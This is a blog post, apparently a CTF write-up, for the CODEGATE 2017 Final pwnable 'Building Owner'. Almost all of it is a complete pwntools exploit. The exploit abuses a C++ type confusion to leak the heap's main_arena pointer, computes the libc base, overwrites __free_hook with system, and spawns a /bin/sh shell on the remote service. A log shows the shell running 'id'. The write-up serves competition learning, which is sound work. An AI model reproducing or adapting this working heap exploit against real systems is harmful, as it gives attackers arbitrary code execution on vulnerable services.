CODEGATE 2017 FINAL - Building Owner

2017. 6. 4. 03:39·CTF/2017

Category : Pwnables 


owner


Summary : type confusion, c++, free heap



Exploit

#!/usr/bin/python


from pwn import *

from struct import pack, unpack

p = lambda x : pack("<Q", x)

up = lambda x : unpack("<Q", x)[0]

HOST = 'cykor.kr'

PORT = 7979


def create_apart(s, name, floor, house, desc):

s.sendline('1')

s.recvuntil('> ')

s.recvuntil('? \n')

s.sendline(name)

s.recvuntil('? ')

s.sendline(str(floor))

s.recvuntil('? ')

s.sendline(str(house))

s.recvuntil(': ')

s.sendline(desc)



def m(s, menu):

s.sendline(str(menu))

s.recvuntil('> ')



s = remote(HOST, PORT)

create_apart(s, 'pwn3r', 45, 45, 'pwn3r') # apart1

create_apart(s, 'pwn4r', 45, 45, 'pwn4r') # apart2

#create_apart(s, 'pwn5r', 45, 45, 'pwn5r') # apart3


m(s, 4) # manage

m(s, 2) # manage - change buliding

m(s, 1) # type - apartment

m(s, 1) # from apart1

m(s, 2) # to restaurant

m(s, 4) # back (now manage)


m(s, 1) # manage - edit

m(s, 1) # type - apartment

m(s, 1) # apart2

m(s, 1) # 1. name

s.recvuntil('Enter new name : ')

s.sendline('B'*0x70)

m(s, 5) # back (now edit)


# memory leak

m(s, 3)    # type - restaurant

m(s, 1)    # apart1

s.recvuntil('Normal price of menu : ')

leaked = int(s.recvline())

print hex(leaked)

main_arena_ptr = leaked - 0x90

m(s, 6) # 6. Normal price of menu

s.sendline(str(main_arena_ptr))

m(s, 9) # back (now edit)

m(s, 1) # type - apartment

m(s, 1) # apart2

s.recvuntil('Name : ')

main_arena = up(s.recvline()[:8]) - 88

libc = ELF('/lib/x86_64-linux-gnu/libc-2.24.so')

libc_base = main_arena -0x3c1b00#libc.symbols['main_arena']


#libc.symbols['main_arena'] = main_arena

free_hook = libc_base +libc.symbols['__free_hook']

system_libc = libc_base + libc.symbols['system']

m(s, 5) # back (now edit)

m(s, 3) # type - restaurant

m(s, 1) # apart1

m(s, 6) # 6. Normal price of menu

s.sendline(str(free_hook))

m(s, 9) # back (now edit)

m(s, 1) # type - aprtment

m(s, 1) # apart2

m(s, 1) # name edit

s.recvuntil('Enter new name : ')

s.sendline(p(system_libc))

m(s, 5) # back (now edit)

m(s, 3) # type - restaurant

m(s, 1) # apart1

m(s, 6) # 6. Normal price of menu

s.sendline(str(up('/bin/sh\x00')))

m(s, 9) # back (now edit)

m(s, 4) # back (now manage)

m(s, 4) # back (now home)

m(s, 5) # exit


s.interactive()


"""

pwn3r@cykor-ubuntu:~$ python owner_ex.py

[+] Opening connection to cykor.kr on port 7979: Done

0x55c0908f8e50

[*] '/lib/x86_64-linux-gnu/libc-2.24.so'

    Arch:     amd64-64-little

    RELRO:    Partial RELRO

    Stack:    Canary found

    NX:       NX enabled

    PIE:      PIE enabled

[*] Switching to interactive mode

$ id

uid=1011(pwn3r) gid=1011(pwn3r) groups=1011(pwn3r)

""" 


저작자표시 (새창열림)

'CTF > 2017' 카테고리의 다른 글

HITB GSEC 2017 - babyqemu  (0) 2018.12.03
XCTF FINAL 2017 - xmail  (0) 2018.10.06
XCTF FINAL 2017 - network  (0) 2018.10.06
CODEGATE 2017 QUAL - js_world  (0) 2018.09.26
CODEGATE 2017 FINAL - petshop  (0) 2017.06.04
'CTF/2017' 카테고리의 다른 글
  • XCTF FINAL 2017 - xmail
  • XCTF FINAL 2017 - network
  • CODEGATE 2017 QUAL - js_world
  • CODEGATE 2017 FINAL - petshop
pwn3r_45
pwn3r_45
  • pwn3r_45
    pwn3r_45
    pwn3r_45
  • 전체
    오늘
    어제
    • View All (155)
      • Paper (0)
        • Power Grid (0)
        • Software_Kernel (0)
        • Exploitation (0)
        • RTOS (0)
        • UAV (0)
        • SCADA (0)
      • Articles (0)
      • Personal (18)
      • Technical Note (9)
        • Hardware (1)
        • Vulnerability Research (8)
        • Binary Exploitation (5)
        • PR23 (0)
        • Vulnerability (1)
        • Linux Kernel (1)
        • 현대암호 (0)
      • CTF (90)
        • 2025 (0)
        • 2024 (1)
        • 2023 (5)
        • 2019 (5)
        • 2018 (20)
        • 2017 (7)
        • 2016 (6)
        • 2015 (1)
        • 2014 (3)
        • 2013 (14)
        • 2012 (6)
      • Wargame (22)
        • FTZ (13)
        • Lord Of Bof - Redhat 6.2 (0)
        • IO.smashthestack.org (5)
        • Amateria.smashthestack.org (0)
        • pwnable.tw (0)
        • Vortex.overthewire.org (3)
        • Webhacking.kr (0)
        • reversing.kr (0)
        • dreamhack.io (0)
        • CodeEngn (1)
      • Reverse engineering (1)
      • Issue (13)
        • Conference_CTF info (13)
      • Coding (0)
        • C# (0)
      • ETC (2)
      • 미완성 (0)
  • 블로그 메뉴

    • Home
    • Tag
    • MediaLog
    • LocationLog
    • Guestbook
    • Admin
    • Write
  • 링크

    • 6l4ck3y3
    • idkwim
    • gogil
    • dakuo
    • badcob
    • 임준오씨 블로그
    • 김용진씨 블로그
    • david942j
    • orange tsai
    • pwndiary
    • theori
    • tacxingxing
    • jinmo123's team blog
    • ConS-tanT
    • jaybosamiya
    • procdiaru
  • 공지사항

  • 인기 글

  • 태그

    HUST
    csaw ctf
    vuln
    pwnables
    power of community
    web
    정보보호올림피아드
    후기
    HUST2011
    POC
    gnuboard
    csaw
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
pwn3r_45
CODEGATE 2017 FINAL - Building Owner
상단으로

티스토리툴바